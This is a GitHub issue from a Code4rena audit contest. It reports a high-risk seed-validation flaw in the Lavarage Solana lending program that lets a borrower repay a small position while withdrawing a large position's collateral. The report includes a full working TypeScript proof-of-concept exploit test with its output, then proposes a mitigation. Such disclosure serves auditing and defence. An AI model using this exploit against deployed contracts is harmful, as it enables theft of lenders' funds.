Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The borrower can steal all SOL from the lender by paying almost nothing as a collateral #13

Closed
c4-bot-1 opened this issue Apr 29, 2024 · 4 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-26 🤖_04_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-bot-1
Copy link
Contributor

c4-bot-1 commented Apr 29, 2024

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L43-L63

Vulnerability details

Impact

Due to the lack of seed validation on borrow_collateral function, the borrower can steal all SOL from the lender by paying almost nothing as a collateral. This can be done as follows:

  1. The borrower opens two positions.
  2. Pos#1 is a small one. So, the borrowed and the collateral amounts are small.
  3. Pos#2 is a big one. So, the borrowed and the collateral amounts are big.
  4. The borrower repays Pos#1.borrowed (small amount) while withdrawing Pos#2.collateral (big amount)
  5. Thus, the protocol now has Pos#2.borrowed (not backed by any collateral), and Pos#1.collateral not withdrawn.
  6. The borrower got away with Pos#1.borrowed and Pos#2.collateral amounts.

Check the PoC below, It demonstrates how a thief could perform the scenario above.

Note: this is different from the other issue reported (completly different root cause and slightly different impact)

Proof of Concept

  • Please create a file tests/poc_steal_sol_lavarage.spec.ts) , then run the following command:

    ORACLE_PUB_KEY=ATeSYS4MQUs2d6UQbBvs9oSNvrmNPU1ibnS2Dmk21BKZ anchor test
  • You should see the following output:

       console.log
     	===== Initial Amounts======
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:308:13
    
       console.log
     	Pos#1.collaterel     :  0n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:310:13
    
       console.log
     	Pos#2.collaterel     :  0n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:311:13
    
       console.log
     	Borrower Collaterel  :  200000000000000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:312:13
    
       console.log
     	Node Sol             :  500001294560
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:314:13
    
       console.log
     	Borrower Sol         :  499999499996989200
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:315:13
    
       console.log
     	===== After Borrow #1 and #2======
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:333:13
    
       console.log
     	Pos#1.collaterel    :  100000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:353:13
    
       console.log
     	Pos#2.collaterel    :  100000000000000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:354:13
    
       console.log
     	Borrower Collaterel :  99999999900000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:355:13
    
       console.log
     	Node Sol            :  495001294555
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:359:13
    
       console.log
     	Borrower Sol        :  499999504967719600
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:360:13
    
       console.log
     	>>===== Now, repay Pos#1 and withdraw collateral of Pos#2 ======>>
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:399:13
    
       console.log
     	===== After Successful Repay ======
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:403:13
    
       console.log
     	Pos#1.collaterel     :  100000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:421:13
    
       console.log
     	Pos#2.collaterel     :  0n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:422:13
    
       console.log
     	Borrower Collaterel  :  199999999900000000n
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:423:13
    
       console.log
     	Node Sol             :  495001294560
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:427:13
    
       console.log
     	Borrower Sol         :  499999504967714600
    
     	  at tests/poc_steal_sol_lavarage.spec.ts:428:13
    
      PASS  tests/poc_steal_sol_lavarage.spec.ts (8.149 s)
       lavarage
     	✓ Should mint new token! (1776 ms)
     	✓ Should create lpOperator node wallet (464 ms)
     	✓ Should create trading pool (455 ms)
     	✓ Should fund node wallet (456 ms)
     	✓ Should set maxBorrow (456 ms)
     	✓ Hacker can steal funds from lenders (2319 ms)
    
     Test Suites: 1 passed, 1 total
     Tests:       6 passed, 6 total
     Snapshots:   0 total
     Time:        8.227 s, estimated 9 s
     Ran all test suites.
  • Summary of balances:

    • Before the attack
      • Lender SOL => 500.001294560
      • Lender Collaterel Pos#1 => 0
      • Lender Collaterel Pos#2 => 0
      • Borrower SOL => 499999499.996989200
      • Borrower Collaterel => 200000000.000000000
    • After borrowing
      • Lender SOL => 495.001294555
      • Lender Collaterel Pos#1 => 0.100000000
      • Lender Collaterel Pos#2 => 100000000.000000000
      • Borrower SOL => 499999504.967719600
      • Borrower Collaterel => 99999999.900000000
    • After the attack
      • Lender SOL => 495.001294560
      • Lender Collaterel Pos#1 => 0.100000000
      • Lender Collaterel Pos#2 => 0
      • Borrower SOL => 499999504.967714600
      • Borrower Collaterel => 199999999.900000000
  • Test file

import * as anchor from '@coral-xyz/anchor';
import {
  Keypair,
  PublicKey,
  Signer,
  SystemProgram,
  SYSVAR_CLOCK_PUBKEY,
  SYSVAR_INSTRUCTIONS_PUBKEY,
  Transaction,
} from '@solana/web3.js';
import { Lavarage } from '../target/types/lavarage';

import {
  createMint,
  createTransferCheckedInstruction,
  getAccount,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
} from '@solana/spl-token';
import { web3 } from '@coral-xyz/anchor';
export function getPDA(programId, seed) {
  const seedsBuffer = Array.isArray(seed) ? seed : [seed];

  return web3.PublicKey.findProgramAddressSync(seedsBuffer, programId)[0];
}
describe('lavarage', () => {
  anchor.setProvider(anchor.AnchorProvider.env());
  const program: anchor.Program<Lavarage> = anchor.workspace.Lavarage;
  const nodeWallet = anchor.web3.Keypair.generate();
  const anotherPerson = anchor.web3.Keypair.generate();
  const seed = anchor.web3.Keypair.generate();
  // TEST ONLY!!! DO NOT USE!!!
  const oracleKeyPair = anchor.web3.Keypair.fromSecretKey(
    Uint8Array.from([
      70, 207, 196, 18, 254, 123, 0, 205, 199, 137, 184, 9, 156, 224, 62, 74,
      209, 0, 80, 73, 146, 151, 175, 68, 182, 180, 53, 91, 214, 7, 167, 209,
      140, 140, 158, 10, 59, 141, 76, 114, 109, 208, 44, 110, 77, 64, 149, 121,
      7, 226, 125, 0, 105, 29, 76, 131, 99, 95, 123, 206, 81, 5, 198, 140,
    ]),
  );
  let tokenMint;
  let userTokenAccount;

  let tokenMint2;
  let userTokenAccount2;


  const provider = anchor.getProvider();

  async function mintMockTokens(
    people: Signer,
    provider: anchor.Provider,
    amount: number,
  ): Promise<any> {
    const connection = provider.connection;

    const signature = await connection.requestAirdrop(
      people.publicKey,
      2000000000,
    );
    await connection.confirmTransaction(signature, 'confirmed');

    // Create a new mint
    const mint = await createMint(
      connection,
      people,
      people.publicKey,
      null,
      9, // Assuming a decimal place of 9
    );

    // Get or create an associated token account for the recipient
    const recipientTokenAccount = await getOrCreateAssociatedTokenAccount(
      connection,
      people,
      mint,
      provider.publicKey,
    );

    // Mint new tokens to the recipient's token account
    await mintTo(
      connection,
      people,
      mint,
      recipientTokenAccount.address,
      people,
      amount,
    );

    return {
      mint,
      recipientTokenAccount,
    };
  }

  // Setup phase
  it('Should mint new token!', async () => {
    const { mint, recipientTokenAccount } = await mintMockTokens(
      anotherPerson,
      provider,
      200000000000000000,
      // 200000000000,
    );
    tokenMint = mint;
    userTokenAccount = recipientTokenAccount;
  }, 20000);



  it('Should create lpOperator node wallet', async () => {
    await program.methods
      .lpOperatorCreateNodeWallet()
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        operator: program.provider.publicKey,
      })
      .signers([nodeWallet])
      .rpc();
  });

  it('Should create trading pool', async () => {
    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    await program.methods
      .lpOperatorCreateTradingPool(50)
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        operator: program.provider.publicKey,
        tradingPool,
        mint: tokenMint,
      })
      .rpc();
  });

  
  it('Should fund node wallet', async () => {
    await program.methods
      .lpOperatorFundNodeWallet(new anchor.BN(500000000000))
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
      })
      .rpc();
  });

  it('Should set maxBorrow', async () => {
    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // X lamports per 1 Token
    await program.methods
      .lpOperatorUpdateMaxBorrow(new anchor.BN(50))
      .accountsStrict({
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        operator: provider.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
      })
      .rpc();
  });

  // repay
  it('Hacker can steal funds from lenders', async () => {
    //
    const seed = Keypair.generate();
    const seed2 = Keypair.generate();

    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);
    // create ATA for position account
    const positionAccount = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      // unique identifier for the position
      seed.publicKey.toBuffer(),
    ]);
    const positionATA = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount,
      true,
    );

    // create ATA for position account 2
    const positionAccount2 = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      // unique identifier for the position
      seed2.publicKey.toBuffer(),
    ]);
    const positionATA2 = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount2,
      true,
    );


    // actual borrow
    const borrowIx = await program.methods
      .tradingOpenBorrow(new anchor.BN(10), new anchor.BN(5))
      .accountsStrict({
        positionAccount,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: seed.publicKey,
        // frontend fee receiver. could be any address. opening fee 0.5%
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA.address,
      provider.publicKey,
      100000000,
      9,
    );
    // the param in this method is deprecated. should be removed.
    const addCollateralIx = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: seed.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA.address,
      })
      .instruction();


    // actual borrow 2
    const borrowIx2 = await program.methods
    .tradingOpenBorrow(new anchor.BN(10000000000), new anchor.BN(5000000000))
    .accountsStrict({
      positionAccount: positionAccount2,
      trader: provider.publicKey,
      tradingPool,
      nodeWallet: nodeWallet.publicKey,
      randomAccountAsId: seed2.publicKey,
      // frontend fee receiver. could be any address. opening fee 0.5%
      feeReceipient: anotherPerson.publicKey,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
      instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
    })
    .instruction();
    const transferIx2 = createTransferCheckedInstruction(
    userTokenAccount.address,
    tokenMint,
    positionATA2.address,
    provider.publicKey,
    100000000000000000,
    9,
    );
    // the param in this method is deprecated. should be removed.
    const addCollateralIx2 = await program.methods
    .tradingOpenAddCollateral()
    .accountsStrict({
      positionAccount: positionAccount2,
      tradingPool,
      systemProgram: anchor.web3.SystemProgram.programId,
      trader: provider.publicKey,
      randomAccountAsId: seed2.publicKey,
      mint: tokenMint,
      toTokenAccount: positionATA2.address,
    })
    .instruction();


    let tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );

    let tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );

    let userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );

    console.log("===== Initial Amounts======");

    console.log("Pos#1.collaterel     : ", tokenAccount.amount);
    console.log("Pos#2.collaterel     : ", tokenAccount2.amount);
    console.log("Borrower Collaterel  : ", userTokenAcc.amount);

    console.log("Node Sol             : ", await provider.connection.getBalance(nodeWallet.publicKey));
    console.log("Borrower Sol         : ", await provider.connection.getBalance(provider.publicKey));


    const tx_borrow = new Transaction()
    .add(borrowIx)
    .add(transferIx)
    .add(addCollateralIx);

    const tx_borrow_2 = new Transaction()
    .add(borrowIx2)
    .add(transferIx2)
    .add(addCollateralIx2);

    await provider.sendAll([{ tx: tx_borrow_2 }]);

    await provider.sendAll([{ tx: tx_borrow }]);


    console.log("===== After Borrow #1 and #2======");
     
    tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );
     
    tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );


     userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );

    const tokenAccount_amount = tokenAccount.amount;
    const userTokenAcc_amount = userTokenAcc.amount;
    console.log("Pos#1.collaterel    : ", tokenAccount_amount);
    console.log("Pos#2.collaterel    : ", tokenAccount2.amount);
    console.log("Borrower Collaterel : ", userTokenAcc_amount);

    const node_balance = await provider.connection.getBalance(nodeWallet.publicKey);
    const user_balance = await provider.connection.getBalance(provider.publicKey);
    console.log("Node Sol            : ", node_balance);
    console.log("Borrower Sol        : ", user_balance);



    const receiveCollateralIx = await program.methods
    .tradingCloseBorrowCollateral()
    .accountsStrict({
      positionAccount: positionAccount2, // this for the attack
      trader: provider.publicKey,
      tradingPool,
      instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: SYSVAR_CLOCK_PUBKEY,
      randomAccountAsId: seed2.publicKey, // and this for the attack
      mint: tokenMint,
      toTokenAccount: userTokenAccount.address,
      fromTokenAccount: positionATA2.address,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .instruction();
  const repaySOLIx = await program.methods
    // .tradingCloseRepaySol(new anchor.BN(20000), new anchor.BN(9998))
    .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9998))
    .accountsStrict({
      positionAccount: positionAccount,
      trader: provider.publicKey,
      tradingPool,
      nodeWallet: nodeWallet.publicKey,
      systemProgram: anchor.web3.SystemProgram.programId,
      clock: SYSVAR_CLOCK_PUBKEY,
      randomAccountAsId: seed.publicKey,
      feeReceipient: anotherPerson.publicKey,
    })
    .instruction();
    
    const tx_repay = new Transaction()
    .add(receiveCollateralIx)
    .add(repaySOLIx);

    console.log(">>===== Now, repay Pos#1 and withdraw collateral of Pos#2 ======>>");

    await provider.sendAll([{ tx: tx_repay }]);

    console.log("===== After Successful Repay ======");

    tokenAccount = await getAccount(
      provider.connection,
      positionATA.address,
    );

    tokenAccount2 = await getAccount(
      provider.connection,
      positionATA2.address,
    );

     userTokenAcc = await getAccount(
      provider.connection,
      userTokenAccount.address,
    );
    const tokenAccount_amount2 = tokenAccount.amount;
    const userTokenAcc_amount2 = userTokenAcc.amount;
    console.log("Pos#1.collaterel     : ", tokenAccount_amount2);
    console.log("Pos#2.collaterel     : ", tokenAccount2.amount);
    console.log("Borrower Collaterel  : ", userTokenAcc_amount2);

    const node_balance2 = await provider.connection.getBalance(nodeWallet.publicKey);
    const user_balance2 = await provider.connection.getBalance(provider.publicKey);
    console.log("Node Sol             : ", node_balance2);
    console.log("Borrower Sol         : ", user_balance2);



  });

});

Tools Used

Manual analysis

Recommended Mitigation Steps

Add this to borrow_collateral function to validate the seed

require_keys_eq!(
	ix.accounts[6].pubkey,
	ctx.accounts.position_account.seed.key(),
	FlashFillError::IncorrectProgramAuthority
	);

After adding this mitigation, if you run the attack above, it will fail.

Assessed type

Invalid Validation

@c4-bot-1 c4-bot-1 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Apr 29, 2024
c4-bot-1 added a commit that referenced this issue Apr 29, 2024
@c4-bot-13 c4-bot-13 added the 🤖_04_group AI based duplicate group recommendation label Apr 29, 2024
@c4-judge
Copy link
Contributor

alcueca marked the issue as duplicate of #4

@c4-judge
Copy link
Contributor

c4-judge commented May 1, 2024

alcueca marked the issue as not a duplicate

@c4-judge
Copy link
Contributor

c4-judge commented May 1, 2024

alcueca marked the issue as duplicate of #26

@c4-judge
Copy link
Contributor

c4-judge commented May 1, 2024

alcueca marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label May 1, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-26 🤖_04_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants